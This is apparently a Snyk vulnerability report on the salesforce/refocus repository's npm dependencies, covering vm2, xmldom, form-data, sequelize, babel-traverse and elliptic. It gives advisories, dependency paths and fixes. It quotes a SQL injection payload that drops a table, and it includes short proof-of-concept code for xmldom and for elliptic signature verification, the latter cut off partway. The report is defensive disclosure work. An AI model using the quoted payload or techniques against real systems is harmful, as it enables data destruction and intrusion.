Vulnerabilities

137 via 616 paths

Dependencies

1801

Source

GitHub

Commit

78051d2a

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 137
  • 4
Severity
  • 11
  • 49
  • 72
  • 9
Status
  • 141
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: vm2
  • Introduced through: @salesforce/refocus-collector@1.3.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 vm2@3.9.19
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 @salesforce/refocus-collector-eval@1.11.3 vm2@3.9.19

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient checks which allow an attacker to escape the sandbox.

Note:

According to the maintainer, the security issue cannot be properly addressed and the library will be discontinued.

Remediation

There is no fixed version for vm2.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: vm2
  • Introduced through: @salesforce/refocus-collector@1.3.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 vm2@3.9.19
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 @salesforce/refocus-collector-eval@1.11.3 vm2@3.9.19

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) such that the Promise handler sanitization can be bypassed, allowing attackers to escape the sandbox.

Note:

According to the maintainer, the security issue cannot be properly addressed and the library will be discontinued.

Remediation

There is no fixed version for vm2.

References

critical severity

Improper Input Validation

  • Vulnerable module: xmldom
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-crypto@0.8.5 xmldom@0.1.19
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmldom@0.1.31
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Improper Input Validation due to parsing XML that is not well-formed, and contains multiple top-level elements. All the root nodes are being added to the childNodes collection of the Document, without reporting or throwing any error.

Workarounds

One of the following approaches might help, depending on your use case:

  1. Instead of searching for elements in the whole DOM, only search in the documentElement.

  2. Reject a document with a document that has more than 1 childNode.

PoC

var DOMParser = require('xmldom').DOMParser;
var xmlData = '<?xml version="1.0" encoding="UTF-8"?>\n' +
'<root>\n' +
'  <branch girth="large">\n' +
'    <leaf color="green" />\n' +
'  </branch>\n' +
'</root>\n' +
'<root>\n' +
'  <branch girth="twig">\n' +
'    <leaf color="gold" />\n' +
'  </branch>\n' +
'</root>\n';
var xmlDOM = new DOMParser().parseFromString(xmlData);
console.log(xmlDOM.toString());

This will result with the following output:

<?xml version="1.0" encoding="UTF-8"?><root>
  <branch girth="large">
    <leaf color="green"/>
  </branch>
</root>
<root>
  <branch girth="twig">
    <leaf color="gold"/>
  </branch>
</root>

Remediation

There is no fixed version for xmldom.

References

critical severity

Predictable Value Range from Previous Values

  • Vulnerable module: form-data
  • Introduced through: jsdom@9.12.0, npm@6.14.18 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jsdom@9.12.0 request@2.88.2 form-data@2.3.3
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 request@2.88.2 form-data@2.3.3
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 nforce@1.13.0 request@2.88.2 form-data@2.3.3
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 simple-oauth2@1.6.0 request@2.88.2 form-data@2.3.3
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 node-gyp@5.1.1 request@2.88.2 form-data@2.3.3
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-lifecycle@3.1.5 node-gyp@5.1.1 request@2.88.2 form-data@2.3.3
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 npm-lifecycle@3.1.5 node-gyp@5.1.1 request@2.88.2 form-data@2.3.3
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-lifecycle@3.1.5 node-gyp@5.1.1 request@2.88.2 form-data@2.3.3
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 superagent@1.8.5 form-data@1.0.0-rc3
    Remediation: Upgrade to swagger-tools@0.10.2.

Overview

Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.

Remediation

Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.8.12

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize@5.8.12
    Remediation: Upgrade to sequelize@6.19.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection via the replacements statement. It allowed a malicious actor to pass dangerous values such as OR true; DROP TABLE users through replacements which would result in arbitrary SQL execution.

Remediation

Upgrade sequelize to version 6.19.1 or higher.

References

critical severity

Incomplete List of Disallowed Inputs

  • Vulnerable module: babel-traverse
  • Introduced through: babel-core@6.26.3, babel-eslint@6.1.2 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-eslint@6.1.2 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babelify@7.3.0 babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babelify@7.3.0 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-computed-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-systemjs@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-plugin-transform-class-constructor-call@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-plugin-transform-class-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-plugin-transform-decorators@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-helper-call-delegate@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babelify@7.3.0 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-plugin-transform-class-constructor-call@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babelify@7.3.0 babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-helper-bindify-decorators@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babelify@7.3.0 babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-helper-bindify-decorators@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babelify@7.3.0 babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-helper-bindify-decorators@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-exponentiation-operator@6.24.1 babel-helper-builder-binary-assignment-operator-visitor@6.24.1 babel-helper-explode-assignable-expression@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-1@6.1.2 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-exponentiation-operator@6.24.1 babel-helper-builder-binary-assignment-operator-visitor@6.24.1 babel-helper-explode-assignable-expression@6.24.1 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0

Overview

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate() or path.evaluateTruthy() internal Babel methods.

Note:

This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime, @babel/preset-env when using its useBuiltIns option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider. No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.

Users that only compile trusted code are not impacted.

Workaround

Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse.

Remediation

There is no fixed version for babel-traverse.

References

critical severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: elliptic
  • Introduced through: browserify@13.3.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af browserify@13.3.0 crypto-browserify@3.12.1 browserify-sign@4.2.3 elliptic@6.6.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af browserify@13.3.0 crypto-browserify@3.12.1 create-ecdh@4.0.4 elliptic@6.6.1

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to an anomaly in the _truncateToN function. An attacker can cause legitimate transactions or communications to be incorrectly flagged as invalid by exploiting the signature verification process when the hash contains at least four leading 0 bytes, and the order of the elliptic curve's base point is smaller than the hash.

In some situations, a private key exposure is possible. This can happen when an attacker knows a faulty and the corresponding correct signature for the same message.

Note: Although the vector for exploitation of this vulnerability was restricted with the release of versions 6.6.0 and 6.6.1, it remains possible to generate invalid signatures in some cases in those releases as well.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.7
var hash = require('hash.js');
var BN = require('bn.js');
var toArray = elliptic.utils.toArray;

var ec = new elliptic.ec('p192');
var msg = '343236343739373234';
var sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b';
// Same public key just in different formats
var pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723';
var pkPem = '-----BEGIN PUBLIC KEY-----\nMEkwEwYHKoZIzj0CAQYIKoZIzj0DAQEDMgAEzTWgsY7rj82H/wGXgAEoKHRfBG54\nXeuigVDeG+bLQ3ZSMAa+/zD/CbQEkSXO0pcj\n-----END PUBLIC KEY-----\n';

// Create hash
var hashArray = hash.sha256().update(toArray(msg, 'hex')).digest();
// Convert array to string (just for showcase of the leading zeros)
var hashStr = Array.from(hashArray, function(byte) {
  return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('');
var hMsg = new BN(hashArray, 'hex');
// Hashed message contains 4 leading zeros bytes
console.log('sha256 hash(str): ' + hashStr);
// Due to using BN bitLength lib it does not calculate the bit length correctly (should be 32 since it is a sha256 hash)
console.log('Byte len of sha256 hash: ' + hMsg.byteLength());
console.log('sha256 hash(BN): ' + hMsg.toString(16));

// Due to the shift of the message to be within the order of the curve the delta computation is invalid
var pubKey = ec.keyFromPublic(toArray(pk, 'hex'));
